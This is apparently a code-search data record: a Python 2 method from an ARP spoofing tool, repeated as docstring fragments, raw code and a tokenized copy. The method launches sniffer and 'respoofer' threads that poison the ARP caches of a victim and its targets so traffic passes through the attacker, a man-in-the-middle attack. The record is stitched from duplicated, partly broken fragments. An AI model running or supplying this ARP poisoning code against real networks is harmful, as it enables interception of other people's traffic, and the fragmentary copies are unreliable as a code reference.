(self)
return self.victim[0]
Separated from mainline initialization so we can run this post-var
            configuration.  If you're calling this, BE SURE to set up the required
            variables first!
Separated from mainline initialization so we can run this post-var
            configuration.  If you're calling this, BE SURE to set up the required
            variables first!
Separated from mainline initialization so we can run this post - var configuration . If you re calling this BE SURE to set up the required variables first!
def initialize_post_spoof(self):
        """ Separated from mainline initialization so we can run this post-var
            configuration.  If you're calling this, BE SURE to set up the required
            variables first!
        """
        try:
            if self.config['from_ip'].value is None or "/" in self.config['from_ip'].value:
                sniff_thread = Thread(target=self.sniffer_thread)
                sniff_thread.daemon = True
                sniff_thread.start()

            # send ARP replies to victim
            debug('Beginning ARP spoof to victim...')
            self.running = True
            for key in self.targets.keys():
                target = (key, self.targets[key])
                Msg("Poisoning {0} <---> {1}".format(self.victim[0], target[0]))
                victim_thread = Thread(target=self.respoofer, args=(target, self.victim))
                victim_thread.daemon = True
                victim_thread.start()
                # send ARP replies to spoofed address
                target_thread = Thread(target=self.respoofer, args=(self.victim, target))
                target_thread.daemon = True
                target_thread.start()
        except KeyboardInterrupt:
            Msg('Closing ARP poison down...')
            self.running = False
            return None
        except TypeError, t:
            Error('Type error: %s' % t)
            self.running = False
            return None
        except Exception, j:
            Error('Error with ARP poisoner: %s' % j)
            self.running = False
            return None
        return self.victim[0]
def initialize_post_spoof ( self ) : try : if self . config [ 'from_ip' ] . value is None or "/" in self . config [ 'from_ip' ] . value : sniff_thread = Thread ( target = self . sniffer_thread ) sniff_thread . daemon = True sniff_thread . start ( ) # send ARP replies to victim debug ( 'Beginning ARP spoof to victim...' ) self . running = True for key in self . targets . keys ( ) : target = ( key , self . targets [ key ] ) Msg ( "Poisoning {0} <---> {1}" . format ( self . victim [ 0 ] , target [ 0 ] ) ) victim_thread = Thread ( target = self . respoofer , args = ( target , self . victim ) ) victim_thread . daemon = True victim_thread . start ( ) # send ARP replies to spoofed address target_thread = Thread ( target = self . respoofer , args = ( self . victim , target ) ) target_thread . daemon = True target_thread . start ( ) except KeyboardInterrupt : Msg ( 'Closing ARP poison down...' ) self . running = False return None except TypeError , t : Error ( 'Type error: %s' % t ) self . running = False return None except Exception , j : Error ( 'Error with ARP poisoner: %s' % j ) self . running = False return None return self . victim [ 0 ]